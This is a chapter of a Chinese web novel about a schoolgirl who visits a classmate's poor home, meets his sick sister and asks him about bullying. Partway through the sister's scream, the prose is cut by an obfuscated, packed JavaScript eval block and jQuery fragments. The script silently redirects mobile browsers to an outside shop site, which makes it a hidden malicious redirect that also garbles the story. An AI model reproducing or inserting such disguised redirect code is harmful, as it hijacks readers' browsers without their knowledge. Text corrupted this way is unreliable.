在林之确的印象里，林友生从不允许她申请贫困生证明。
总结一句话就是，爱钱，但要面子。
高一开学，她就隐晦地跟当时的班主任提了一嘴。那时的班主任和现在的朱老师都是风风火火的性子，当天就找上了林友生。
找上后，班主任才发现林友生对此事并不知情。
大人的事情轮不到林之确知晓，一回到家，林友生难得坐在沙发上，林之确以为他会给自己做顿晚饭，林友生开口就是一句：“家里钱是不给你用吗？”
林之确愣了一下：“……”
“什么钱？”
“生活费、学费、家里要用的，我哪样没给你？你居然还想跟外面的人要钱！”
“我到底跟谁要……”
贫困生申请表从林友生的手上落在桌子上。
林之确盯着那张表，看着看着，竟然笑了一下。这不过是一张纸，上面印了文字，它就变得像一头吃人的猛兽。
林友生坐在沙发上，剩下的话是她对这段回忆仅存的记忆：
“你非要别人施舍给你？”
“你非要当，那种穷人？”
那种穷人。
林之确抬起头，疑惑地皱了一下眉。
穷人到底是什么，什么才算穷人？
许述的声音一时将林之确从回忆中拉了出来，脚步声踩在水泥地上，他说：“到了。”
“……嗯。”林之确说，
旁边的路灯早就成了摆设，许述拉起咯吱咯吱响的大门，楼梯未加粉饰，掉了漆的扶手连接到六楼的顶层。
许述在一间明显生锈的门前停下，他又说：“到了。”
“嗯，”林之确说，“我知道了。”
开了门，林之确从许述的后背眺望过去，里面的灯光不算亮，整个家仿佛被一层纱笼罩着，让人看不清楚。
许述开了门，见他的样子林之确也抬起脚准备脱鞋，就听见一个阿姨焦急地用方言喊：“小同学，不用，不用。”
林之确看向说话的阿姨，看上去四五十岁，穿着一件印着哪家银行logo的围裙，或许是后面的油烟太大，她吸了吸鼻子。
看到林之确，阿姨脸上又浮现出一抹笑意。
“进来吧，别客气，你就当是在自己家里。”
林之确对长辈向来是如鱼得水，她点头微笑，身体微微往前鞠躬，“谢谢阿姨。”
阿姨做了晚饭，林之确本来想走，他们却一定要留着她吃，林之确只好应下。
一荤两素，林之确等到最后一个动筷，看见阿姨在盛第四个人的碗。
林之确问：“还有人吗？”
这本来是一个很正常的提问，可林之确明显感觉到阿姨和许述的脸色都变得僵硬，就像是……他们，都不想提及第四个人。
许述打破了这个糟糕的局面。
“要我给你添点饭吗？”
林之确看着自己堆积如山的饭，赶紧摇头摆手：“不、不了！”
……
林之确很快就将这件事情抛之脑后，吃饭后，阿姨把林之确拉来沙发促膝长谈。
阿姨不知道说什么，就说些许述小时候的事情，林之确怕许述有意见，尽量附和几句，并没有过多发表评论。
甚至在后面，有意把话题聊到学校里发生的事情。
“许述他还在打篮球啊。”
林之确嗯了声，诶了声，“他打的挺好的，是我们校篮球队的……”
林之确停住嘴。
还是说多了。
阿姨噗嗤一笑：“那就好，这小子还瞒着我呢，我问他他也不说。”
“哦，哈哈哈哈哈。”
林之确又说了那天篮球赛的事情，并选择性地把陈集的事情隐了下去。阿姨拉着她的手，不同于刚才找她谈心，现在却多了可以称之为信任的东西。
“之确，是吗？”
林之确：“是，阿姨。我叫林之确。”
阿姨笑着点点头，看林之确怎么看怎么喜欢，她将林之确的手握在手里紧紧攥着，阿姨的力气大得她皱了皱眉。
阿姨说：“许述这孩子不亲人，很少有能够带到家里的朋友。还记得他就上初中那会带来一个男同学，阿姨本来以为他俩关系好，能带着他，可后来……”
阿姨似乎自己也知道提到了不好的事情，没有往下继续说了。
阿姨用一种语重心长的语气说：“之确，你是第二个。”
林之确抿了抿唇。
这话太重了。
她向来不擅长真心交付的场面，林之确不知道自己要不要做、能做多少。
一道目光在不远处默默注视着她，林之确下意识抬起脸，许述人站在餐桌前，手上拿着抹布，她们对上了片刻时间的目光，林之确以为许述有话跟她讲。
但他什么都没说，转身去了厨房。
林之确抿着嘴，像是被电到一般坐在原地，知觉像是一条蛇一样又从她身上爬了出去。
一阵嘹亮的哭声吸引了林之确的注意力。
“哇啊啊啊啊啊！”
“谁在哭？”
林之确往那个声音的方向看去。
不知道是林之确问的有问题还是怎么，不管是刚才拉着她手笑的阿姨，还是坐在沙发上的许述，都同样变得缄默不语。
但他们视线像胶水一样凝固在传来声音的房间。
林之确又问了一遍：“那是……”
“哦，那是我妹。”许述说。
林之确看了一眼许述，不解，“你有妹妹？怎么从来没有提过。”
“没什么好提的。”许述提起妹妹，笑了一下，他看着桌上的饭菜，“蕊蕊应该醒了，我去给她送饭吧。”
阿姨握着林之确的手加重了，“嗯，你去吧。”
许述站起身，碗筷放在一边，林之确顺势站起来说：“我跟你一起吧，我还没见过你妹妹。”
许述：“不行。”
刚走了一步的林之确：“……”
阿姨迟疑地拉着林之确的手，“不用，许述他马上就回来了。”
“哦，好吧。”林之确见二人如此强硬，就没有往前去的理由了。
她和阿姨一起坐在沙发上，阿姨见她脸色不好说：“蕊蕊她生了病，常年都呆在家里面。”
“什么病，严重吗？”林之确问。
阿姨：“她……”
“啊啊啊啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862627|212074||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
啊！”
屋子里面突然传出鬼哭狼嚎的声音，还有什么东西被摔碎了，林之确几乎是第一时间冲进房间，开口就是一句：“没事吧？”
房间里，许述站在门口，一个剃着短发，有些圆润的女孩坐在床上，嘴上不停喊着：
“卜，卜……！”
“窝—卜—次！”
林之确下意识退了退，看呆了。
许述紧紧抿着唇，眼神瞬间晦暗了下来。
*
送到楼下，林之确一时之间没有走，许述看了她一眼，林之确看着他，总算问出了心里的那个问题。
林之确：“许述，我能问你个问题吗？”
许述没看她：“如果我说不呢。”
林之确觉得莫名其妙，她抬起头，疑惑几乎写满了她整张脸。
随后许述噗嗤一笑：“不逗你了。”
两人站在昏黄的路灯下，许述说：“你问吧。”
林之确站在许述的对面，借着灯光她能看清许述的面孔，高而挺立的鼻梁，看见她时亮极了的眼睛。
“许述，陈集真的欺负你了吗？”
林之确看着许述，那张干净冷静的脸蛋此刻浸染了夜色的沉重。
自从下午开始，林之确不再觉得这份温柔是随处可见的，它很疏离、很冷淡。
林之确最终都没有选择用霸凌这个词，她只敢在心底揣摩，始终不敢放在台面上。
上头传来一声浓重的呼吸声。
“林之确。”许述喊着她的名字。
许述看着她：“……欺负，”他的眼神很迷离，“什么叫做欺负呢？”
“什么意思？”
许述进一步握住林之确的手，她下意识往后退了一步，呼吸沉了一拍，林之确吃痛地看了一眼许述，他却像是什么都没反应过来。
“一定要被打的，匍匐在身下的叫做受害者。一定要看到伤口，看到血，看到他们屈服的身体才叫做欺负，你告诉我，对吗？……林之确，你告诉我！”
许述的力气愈发大，被抓紧的手腕刺激着林之确的神经。
“……许述，你……”
林之确抿着唇，“你好奇怪。”
许述听到这句，摇了摇头，“你还是不明白，林之确，你看到了对吗？我妹妹。”
“……看到了。”林之确问：“你妹妹，是什么病？”
“治不好的。”
林之确：“外面的医院呢？不去看看怎么知道。”
许述打断了她，“这辈子都不可能治好，这是基因的病，这辈子都不可能了！”
林之确：“怎么可能，是什么心理疾病吗？还是……”
“不要问了。”许述不耐烦地说。
林之确顿时哑口。
“我奇怪吗？我可怜吗？我身在这个家里，得到这些东西，我奇怪吗？所有人都觉得我永远是那个被欺负的人，那就让他们都这么以为吧。”
我太可怜了，林之确。”
林之确：“……”
“是，我现在可以告诉你你想要的答案。我跟陈集从前就认识，他就是欺负我，他抢走了我最重要的东西。”许述说，“这个答案，你满意了吗？”